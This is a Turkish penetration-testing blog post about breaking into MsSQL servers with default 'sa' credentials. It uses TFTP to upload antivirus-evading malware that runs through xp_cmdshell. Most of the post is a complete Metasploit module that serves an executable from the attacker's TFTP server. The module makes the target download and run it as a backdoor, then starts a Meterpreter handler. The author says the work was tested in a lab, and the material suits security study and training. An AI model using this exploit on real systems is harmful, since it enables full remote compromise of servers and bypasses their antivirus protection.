MsSQL Sunuculara TFTP Üzerinden Tanınmaz Zararlı Yazılım Yükleme

Trivial File Transfer Protocol (TFTP)  FTP’ nin temel fonksiyonel şekli olarak ifade edilen ve UDP protokolü ile çalışan basit bir dosya transfer yapısıdır. Özellikle Windows sistemlerde hali hazırda kurulu olarak gelen bu protokol ile basit dosya transferleri yapmak mümkündür.

Sızma testlerinde karışımıza çıkan MsSQL default password zafiyeti ile uzak MsSQL sunucuya bağlantı gerçekleştirilerek hedef veri tabanı sistemi üzerinde komutlar çalıştırılabilmektedir. Bu konu üzerine daha önce hazırlamış olduğumuz  yazıya aşağıdaki linkten ulaşabilirsiniz.

http://blog.bga.com.tr/2012/02/mssql-uzerinden-xpcmdshell-isletim.html

Hedef işletim sistemi üzerinde bir Anti Virüs yazılımı mevcut ise metasploit yapısında bulunan mssql modülleri başarısız olacaktır. Bunun nedeni ise bilinen meterpreter payload’ının kullanılıyor olmasıdır.

Metasploit ile hali hazırda gelen mssql_payload modülü ile üzerinde Anti Virüs kurulu olan sunucuya saldırı gerçekleştirilecektir.

msf > use exploit/windows/mssql/mssql_payload


Options bilgileri atanmıştır.


Exploit komutu ile hedef sisteme zararlı yazılım saldırısı yapılmıştır. Saldırı, sistemde ki Anti Virüs nedeni ile başarısızlıkla sonuçlanmıştır.

Bu nedenden ötürü, penetration tester tarafından hazırlanan ve Anti Virüs sistemlerini atlatabilen virüslerin sisteme gönderilmesi gerekmektedir. Hedef sisteme MsSQL sorguları ile .exe dosyası gönderip ardından bu exe’yi çalıştırmak için bilinen 3 adet yöntem mevcuttur.

1 – VBS script ile ajan yazılımı hedef sisteme indirmek. Bunun için hedef üzerinde VBS script oluşturmak gerekmektedir.
2 – SMB paylaşımı ile penetration tester kendi sisteminde bir klasörü SMB paylaşımını açar, MsSQL üzerinde yapacağı xp_cmdshell sorguları ile hedef sisteme paylaşımı açtığı klasörü mount eder. Ardından bu klasör içinden ajan çalıştırılır. Bu yöntem zor ve zaman alıcı bir tekniktir.
3 – TFTP üzerinden hedef sunucuya ajan yazılımın yüklenmesi.

3. madde için geliştirdiğimiz Metasploit modül’ünü kullanarak aynı sisteme saldırı düzenlenecektir.

PATH değişkeni , hedef’e yükleyeceğiniz ajan yazılımın yerel dosya sisteminizde ki tam dizinini belirtmektedir. Metasploit modül’ü bga.exe’nin bulunduğu dizini alarak bu dizin içeriğinde ki her şeyi TFTP servisi üzerinden sunacaktır.

Hedef sisteme meterpreter ajanı yüklenerek full yetki elde edilmiştir.
Özet olarak ;
1 – Hedef sistemde ki Anti Virüs, bilinen ajan yazılımları yakaladığı için metasploit’in mssql_payload modül’ü başarılı olamamaktadır.
2 – Anti Virüs sistemlerini aşma özelliği kazandırılmış bir exe yazılımı hedef sisteme mssql üzerinden yüklenmiştir. Bunun için TFTP servisini kullanan ve hedef üzerinde gerekli sorguları çalıştıran metasploit modül’ü geliştirilmiştir.
3 – Hedef işletim sisteminde full yetkiler elde edilmiştir.

mssql_tftp.rb dosyasını kullanmak için metasploit’in kurulu olduğu dizine gelip modules/exploits/windows/mssql/ klasörünün altına kopyalanması yeterlidir. Ardından msfconsole komutu çalıştırıldığında mssql_tftp.rb modül’ü artık kullanıma hazırdır.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’
require ‘rex/proto/tftp’

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::TFTPServer
  include Msf::Exploit::Remote::MSSQL
  #
  # This exploit affects TCP servers, so we use the TCP client mixin.
  #
  def initialize(info = {})
    super(update_info(info,
      ‘Name’           => ‘Microsoft SQL Server Malware Execution ‘,
      ‘Description’    => %q{
          Using TFTP for upload malware to target
      },
      ‘Author’         =>
        [
          ‘Mehmet Dursun Ince <mehmet.ince[at]bga.com.tr’      
        ],
      ‘License’        => MSF_LICENSE,
      ‘Version’        => ‘$Revision: 14 $’,
      ‘DisclosureDate’ => ’11 Oct 2012′,
      ‘References’     =>
        [
          # ‘sa’ password in logs
          [ ‘CVE’, ‘2000-0402’ ],
          [ ‘OSVDB’, ‘557’ ],
          [ ‘BID’, ‘1281’ ],

          # blank default ‘sa’ password
          [ ‘CVE’, ‘2000-1209’ ],
          [ ‘OSVDB’, ‘15757’ ],
          [ ‘BID’, ‘4797’ ]
        ],
      ‘Platform’       => ‘win’,
      ‘Targets’        =>
        [
          [ ‘Automatic’, { } ],
        ],
      ‘DefaultTarget’  => 0
      ))
    register_options(
      [
        OptString.new(‘PATH’, [ true, ‘Set full location of malware.exe’, ‘/root/Desktop/malware.exe’ ]),
        OptString.new(‘LHOST’, [ true, ‘Listener Ip Address’, ” ]),
        OptString.new(‘RPATH’, [ false, ‘Directory of target sistem’, ‘c:WindowsTemp’ ]),      
      ])    
  end

  #
  # The sample exploit just indicates that the remote host is always
  # vulnerable.
  #
  def check
    return Exploit::CheckCode::Vulnerable
  end

  #
  # The exploit method connects to the remote service and sends 1024 A’s
  # followed by the fake return address and then the payload.
  #
  def exploit
    if not datastore[‘PATH’]
      print_error(“You must PATH to use this module.”)
      return
    end
    #### PARSING DATA
    tftp_server_path = “”
    exe_name = “”

    exe_name = datastore[‘PATH’].split(“/”).last
    datastore[‘PATH’].split(“/”)[1..-2].each { |value| tftp_server_path += “/” + value}
    ####  
    @tftp = Rex::Proto::TFTP::Server.new
    print_status(“Starting TFTP server…”)

    print_status(“Files will be served from #{tftp_server_path}”)
    @tftp.set_tftproot(tftp_server_path+”/”)
    @tftp.start
    add_socket(@tftp.sock)
 
    ### Connection MsSQL ####
   print_status(“Version:”)
   if (not mssql_login_datastore)
      print_status(“Invalid SQL Server credentials”)
      return
    end  
    command=”cmd.exe /c tftp -i “+datastore[‘LHOST’]+” GET “+exe_name+” “+datastore[‘RPATH’]+”metasploit_b4ckd0oR.exe”
    mssql_xpcmdshell(command,true )
    print_status(“Executing your malware.exe, please wait!!!”)
    @tftp.stop
    mssql_xpcmdshell(“cmd.exe /c ” + datastore[‘RPATH’]+”metasploit_b4ckd0oR.exe”,false )
    handler
  end
end

[NOT] Bu yazıda anlatılanlar herhangi bir iş ortamında değil BGA Pentest Lab ortamında denenmiştir.

Mehmet INCE
mehmet.ince@bga.com.tr